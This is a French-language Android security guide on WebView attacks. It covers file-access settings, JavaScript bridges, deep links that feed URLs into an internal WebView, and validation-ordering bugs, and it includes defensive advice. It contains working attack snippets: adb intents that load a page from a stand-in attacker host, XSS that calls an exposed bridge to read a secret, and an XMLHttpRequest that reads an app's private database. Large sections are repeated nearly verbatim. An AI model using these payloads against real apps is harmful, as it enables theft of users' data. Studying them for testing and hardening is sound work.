Attaques WebView

Reading time: 15 minutes

Guide sur les configurations et la sécurité de WebView

Aperçu des vulnérabilités de WebView

Un aspect critique du développement Android implique la gestion correcte des WebViews. Ce guide met en évidence les configurations clés et les pratiques de sécurité pour atténuer les risques associés à l'utilisation de WebView.

Accès aux fichiers dans les WebViews

Par défaut, les WebViews permettent l'accès aux fichiers. Cette fonctionnalité est contrôlée par la méthode setAllowFileAccess(), disponible depuis le niveau API Android 3 (Cupcake 1.5). Les applications avec la permission android.permission.READ_EXTERNAL_STORAGE peuvent lire des fichiers à partir du stockage externe en utilisant un schéma d'URL de fichier (file://path/to/file).

Fonctionnalités obsolètes : Accès universel et accès aux fichiers depuis des URL

• Accès universel depuis des URL de fichiers : Cette fonctionnalité obsolète permettait des requêtes inter-origines depuis des URL de fichiers, posant un risque de sécurité significatif en raison des potentielles attaques XSS. Le paramètre par défaut est désactivé (false) pour les applications ciblant Android Jelly Bean et les versions plus récentes.
• Pour vérifier ce paramètre, utilisez getAllowUniversalAccessFromFileURLs().
• Pour modifier ce paramètre, utilisez setAllowUniversalAccessFromFileURLs(boolean).
• Accès aux fichiers depuis des URL de fichiers : Cette fonctionnalité, également obsolète, contrôlait l'accès au contenu d'autres URL de schéma de fichiers. Comme l'accès universel, son paramètre par défaut est désactivé pour une sécurité accrue.
• Utilisez getAllowFileAccessFromFileURLs() pour vérifier et setAllowFileAccessFromFileURLs(boolean) pour définir.

Chargement sécurisé de fichiers

Pour désactiver l'accès au système de fichiers tout en accédant aux actifs et ressources, la méthode setAllowFileAccess() est utilisée. Avec Android R et versions ultérieures, le paramètre par défaut est false.

• Vérifiez avec getAllowFileAccess().
• Activez ou désactivez avec setAllowFileAccess(boolean).

WebViewAssetLoader

La classe WebViewAssetLoader est l'approche moderne pour charger des fichiers locaux. Elle utilise des URL http(s) pour accéder aux actifs et ressources locaux, s'alignant sur la politique de même origine, facilitant ainsi la gestion de CORS.

loadUrl

C'est une fonction courante utilisée pour charger des URL arbitraires dans un webview :

webview.loadUrl("<url here>")

Bien sûr, un attaquant potentiel ne devrait jamais être en mesure de contrôler l'URL qu'une application va charger.

Gestion de JavaScript et du schéma Intent

• JavaScript : Désactivé par défaut dans les WebViews, il peut être activé via setJavaScriptEnabled(). La prudence est de mise car activer JavaScript sans protections appropriées peut introduire des vulnérabilités de sécurité.
• Schéma Intent : Les WebViews peuvent gérer le schéma intent, ce qui peut conduire à des exploits s'il n'est pas géré avec soin. Une vulnérabilité d'exemple impliquait un paramètre WebView exposé "support_url" qui pouvait être exploité pour exécuter des attaques de cross-site scripting (XSS).

Exemple d'exploitation utilisant adb :

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Bridge

Une fonctionnalité est fournie par Android qui permet à JavaScript dans un WebView d'invoquer des fonctions d'application Android natives. Cela est réalisé en utilisant la méthode addJavascriptInterface, qui intègre JavaScript avec les fonctionnalités natives d'Android, appelée un WebView JavaScript bridge. Une prudence est conseillée car cette méthode permet à toutes les pages dans le WebView d'accéder à l'objet JavaScript Interface enregistré, posant un risque de sécurité si des informations sensibles sont exposées à travers ces interfaces.

• Une extrême prudence est requise pour les applications ciblant les versions Android inférieures à 4.2 en raison d'une vulnérabilité permettant l'exécution de code à distance via du JavaScript malveillant, exploitant la réflexion.

Implementing a JavaScript Bridge

• Les interfaces JavaScript peuvent interagir avec le code natif, comme le montrent les exemples où une méthode de classe est exposée à JavaScript :

@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};

• Le pont JavaScript est activé en ajoutant une interface au WebView :

webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()

• L'exploitation potentielle via JavaScript, par exemple, via une attaque XSS, permet d'appeler des méthodes Java exposées :

<script>
alert(javascriptBridge.getSecret())
</script>

• Pour atténuer les risques, limitez l'utilisation du pont JavaScript au code expédié avec l'APK et empêchez le chargement de JavaScript à partir de sources distantes. Pour les appareils plus anciens, définissez le niveau API minimum à 17.

Exécution de Code à Distance Basée sur la Réflexion (RCE)

• Une méthode documentée permet d'atteindre la RCE par réflexion en exécutant une charge utile spécifique. Cependant, l'annotation @JavascriptInterface empêche l'accès non autorisé aux méthodes, limitant ainsi la surface d'attaque.

Débogage à Distance

• Le débogage à distance est possible avec Chrome Developer Tools, permettant l'interaction et l'exécution arbitraire de JavaScript dans le contenu WebView.

Activation du Débogage à Distance

• Le débogage à distance peut être activé pour tous les WebViews au sein d'une application en :

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}

• Pour activer le débogage de manière conditionnelle en fonction de l'état débogable de l'application :

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Exfiltrer des fichiers arbitraires

• Démonstration de l'exfiltration de fichiers arbitraires en utilisant un XMLHttpRequest :

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

Attaques WebView

Guide sur les configurations et la sécurité de WebView

Aperçu des vulnérabilités de WebView

Un aspect critique du développement Android implique la gestion correcte des WebViews. Ce guide met en évidence les configurations clés et les pratiques de sécurité pour atténuer les risques associés à l'utilisation de WebView.

Accès aux fichiers dans les WebViews

Par défaut, les WebViews permettent l'accès aux fichiers. Cette fonctionnalité est contrôlée par la méthode setAllowFileAccess(), disponible depuis le niveau API Android 3 (Cupcake 1.5). Les applications avec la permission android.permission.READ_EXTERNAL_STORAGE peuvent lire des fichiers à partir du stockage externe en utilisant un schéma d'URL de fichier (file://path/to/file).

Fonctionnalités obsolètes : Accès universel et accès aux fichiers depuis des URL

• Accès universel depuis des URL de fichiers : Cette fonctionnalité obsolète permettait des requêtes inter-origines depuis des URL de fichiers, posant un risque de sécurité significatif en raison des attaques XSS potentielles. Le paramètre par défaut est désactivé (false) pour les applications ciblant Android Jelly Bean et les versions ultérieures.
• Pour vérifier ce paramètre, utilisez getAllowUniversalAccessFromFileURLs().
• Pour modifier ce paramètre, utilisez setAllowUniversalAccessFromFileURLs(boolean).
• Accès aux fichiers depuis des URL de fichiers : Cette fonctionnalité, également obsolète, contrôlait l'accès au contenu d'autres URL de schéma de fichiers. Comme l'accès universel, son paramètre par défaut est désactivé pour une sécurité accrue.
• Utilisez getAllowFileAccessFromFileURLs() pour vérifier et setAllowFileAccessFromFileURLs(boolean) pour définir.

Chargement sécurisé de fichiers

Pour désactiver l'accès au système de fichiers tout en accédant aux actifs et ressources, la méthode setAllowFileAccess() est utilisée. Avec Android R et versions ultérieures, le paramètre par défaut est false.

• Vérifiez avec getAllowFileAccess().
• Activez ou désactivez avec setAllowFileAccess(boolean).

WebViewAssetLoader

La classe WebViewAssetLoader est l'approche moderne pour charger des fichiers locaux. Elle utilise des URL http(s) pour accéder aux actifs et ressources locaux, s'alignant sur la politique de même origine, facilitant ainsi la gestion CORS.

loadUrl

C'est une fonction courante utilisée pour charger des URL arbitraires dans un webview :

webview.loadUrl("<url here>")

Bien sûr, un attaquant potentiel ne devrait jamais être en mesure de contrôler l'URL qu'une application va charger.

Deep-linking dans WebView interne (schéma personnalisé → WebView sink)

De nombreuses applications enregistrent des schémas/chemins personnalisés qui dirigent une URL fournie par l'utilisateur vers un WebView intégré à l'application. Si le lien profond est exporté (VIEW + BROWSABLE), un attaquant peut forcer l'application à rendre un contenu distant arbitraire à l'intérieur de son contexte WebView.

Modèle de manifeste typique (simplifié) :

<activity android:name=".MainActivity" android:exported="true">
<intent-filter>
<action android:name="android.intent.action.VIEW" />
<category android:name="android.intent.category.DEFAULT" />
<category android:name="android.intent.category.BROWSABLE" />
<data android:scheme="myscheme" android:host="com.example.app" />
</intent-filter>
</activity>

Flux de code commun (simplifié) :

// Entry activity
@Override
protected void onNewIntent(Intent intent) {
Uri deeplink = intent.getData();
String url = deeplink.getQueryParameter("url"); // attacker-controlled
if (deeplink.getPathSegments().get(0).equals("web")) {
Intent i = new Intent(this, WebActivity.class);
i.putExtra("url", url);
startActivity(i);
}
}

// WebActivity sink
webView.loadUrl(getIntent().getStringExtra("url"));

Modèle d'attaque et PoC via adb :

# Template – force load in internal WebView
adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

# If a specific Activity must be targeted
adb shell am start -n com.example/.MainActivity -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Impact : la page distante s'exécute dans le contexte de l'application WebView (cookies/session du profil WebView de l'application, accès à tout @JavascriptInterface exposé, accès potentiel à content:// et file:// selon les paramètres).

Conseils de chasse :

• Grep des sources décompilées pour getQueryParameter("url"), loadUrl(, des sinks WebView, et des gestionnaires de deep-link (onCreate/onNewIntent).
• Examinez le manifeste pour les filtres VIEW+BROWSABLE et les schémas/hôtes personnalisés qui correspondent à des activités qui démarrent ensuite un WebView.
• Vérifiez s'il existe plusieurs chemins de deep-link (par exemple, un chemin "navigateur externe" contre un chemin "webview interne") et préférez celui qui s'affiche à l'intérieur de l'application.

Activation de JavaScript avant vérification (bug d'ordre de vérification)

Une erreur de durcissement fréquente consiste à activer JavaScript ou à configurer des paramètres WebView assouplis avant que la liste blanche finale/la vérification de l'URL cible ne soit terminée. Si la vérification est incohérente entre les helpers ou se produit trop tard, un lien profond d'attaquant peut atteindre un état où :

1. Les paramètres WebView s'appliquent (par exemple, setJavaScriptEnabled(true)), et
2. L'URL non fiable est chargée avec JavaScript activé.

Modèle de bug (pseudocode) :

// 1) Parse/early checks
Uri u = parse(intent);
if (!looksValid(u)) return;

// 2) Configure WebView BEFORE final checks
webView.getSettings().setJavaScriptEnabled(true); // BAD: too early
configureMixedContent();

// 3) Do final verification (late)
if (!finalAllowlist(u)) return; // too late – JS already enabled

// 4) Load
webView.loadUrl(u.toString());

Pourquoi c'est exploitable

• Normalisation incohérente : les helpers divisent/reconstruisent l'URL différemment de la vérification finale, créant des incohérences qu'une URL malveillante peut exploiter.
• Pipeline désordonné : activer JS à l'étape 2 s'applique globalement à l'instance WebView, affectant le chargement final même si la vérification échoue par la suite.

Comment tester

• Créez des charges utiles de deep-link qui passent les vérifications initiales et atteignent le site de configuration WebView.
• Utilisez adb pour déclencher des intents VIEW implicites livrant un paramètre url= contrôlé par vous :

adb shell am start -a android.intent.action.VIEW \
-d "myscheme://com.example.app/web?url=https://attacker.tld/payload.html"

Si l'exploitation réussit, votre payload exécute JavaScript dans le WebView de l'application. De là, recherchez des ponts exposés :

<script>
for (let k in window) {
try { if (typeof window[k] === 'object' || typeof window[k] === 'function') console.log('[JSI]', k); } catch(e){}
}
</script>

Directives défensives

• Canonicalisez une fois ; validez strictement contre une seule source de vérité (schéma/hôte/chemin/requête).
• N'appelez setJavaScriptEnabled(true) qu'après que tous les contrôles de liste blanche aient réussi et juste avant de charger du contenu de confiance.
• Évitez d'exposer @JavascriptInterface à des origines non fiables ; préférez le contrôle par origine.
• Envisagez des instances par WebView pour le contenu de confiance par rapport au contenu non fiable, avec JS désactivé par défaut.

Gestion de JavaScript et des schémas d'intention

• JavaScript : Désactivé par défaut dans les WebViews, il peut être activé via setJavaScriptEnabled(). La prudence est de mise car activer JavaScript sans protections appropriées peut introduire des vulnérabilités de sécurité.
• Schéma d'intention : Les WebViews peuvent gérer le schéma intent, ce qui peut conduire à des exploits s'il n'est pas géré avec soin. Une vulnérabilité d'exemple impliquait un paramètre WebView exposé "support_url" qui pouvait être exploité pour exécuter des attaques de cross-site scripting (XSS).

Exemple d'exploitation utilisant adb :

adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"

Javascript Bridge

Une fonctionnalité est fournie par Android qui permet à JavaScript dans un WebView d'invoquer des fonctions d'application Android natives. Cela est réalisé en utilisant la méthode addJavascriptInterface, qui intègre JavaScript avec les fonctionnalités natives d'Android, appelée un WebView JavaScript bridge. Une prudence est conseillée car cette méthode permet à toutes les pages dans le WebView d'accéder à l'objet JavaScript Interface enregistré, posant un risque de sécurité si des informations sensibles sont exposées à travers ces interfaces.

• Une extrême prudence est requise pour les applications ciblant les versions Android inférieures à 4.2 en raison d'une vulnérabilité permettant l'exécution de code à distance via du JavaScript malveillant, exploitant la réflexion.

Implementing a JavaScript Bridge

• Les interfaces JavaScript peuvent interagir avec le code natif, comme le montrent les exemples où une méthode de classe est exposée à JavaScript :

@JavascriptInterface
public String getSecret() {
return "SuperSecretPassword";
};

• JavaScript Bridge est activé en ajoutant une interface au WebView :

webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge")
webView.reload()

• L'exploitation potentielle via JavaScript, par exemple, via une attaque XSS, permet d'appeler des méthodes Java exposées :

<script>
alert(javascriptBridge.getSecret())
</script>

• Pour atténuer les risques, limitez l'utilisation du pont JavaScript au code expédié avec l'APK et empêchez le chargement de JavaScript à partir de sources distantes. Pour les appareils plus anciens, définissez le niveau API minimum à 17.

Exécution de Code à Distance Basée sur la Réflexion (RCE)

• Une méthode documentée permet d'atteindre la RCE par réflexion en exécutant une charge utile spécifique. Cependant, l'annotation @JavascriptInterface empêche l'accès non autorisé aux méthodes, limitant ainsi la surface d'attaque.

Débogage à Distance

• Le débogage à distance est possible avec Chrome Developer Tools, permettant l'interaction et l'exécution arbitraire de JavaScript dans le contenu WebView.

Activation du Débogage à Distance

• Le débogage à distance peut être activé pour tous les WebViews au sein d'une application en :

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
WebView.setWebContentsDebuggingEnabled(true);
}

• Pour activer le débogage de manière conditionnelle en fonction de l'état débogable de l'application :

if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
{ WebView.setWebContentsDebuggingEnabled(true); }
}

Exfiltrer des fichiers arbitraires

• Démonstration de l'exfiltration de fichiers arbitraires en utilisant un XMLHttpRequest :

var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
alert(xhr.responseText)
}
}
xhr.open(
"GET",
"file:///data/data/com.authenticationfailure.wheresmybrowser/databases/super_secret.db",
true
)
xhr.send(null)

Références

• Review of Android WebViews file access attack vectors
• WheresMyBrowser.Android (demo app)
• Android WebView reference
• Deep Links & WebViews Exploitations – Part II
• Deep Links & WebViews Exploitations – Part I
• Samsung S24 Exploit Chain Pwn2Own 2024 Walkthrough
• Pwn2Own Ireland 2024 – Samsung S24 attack chain (whitepaper)
• Demonstration video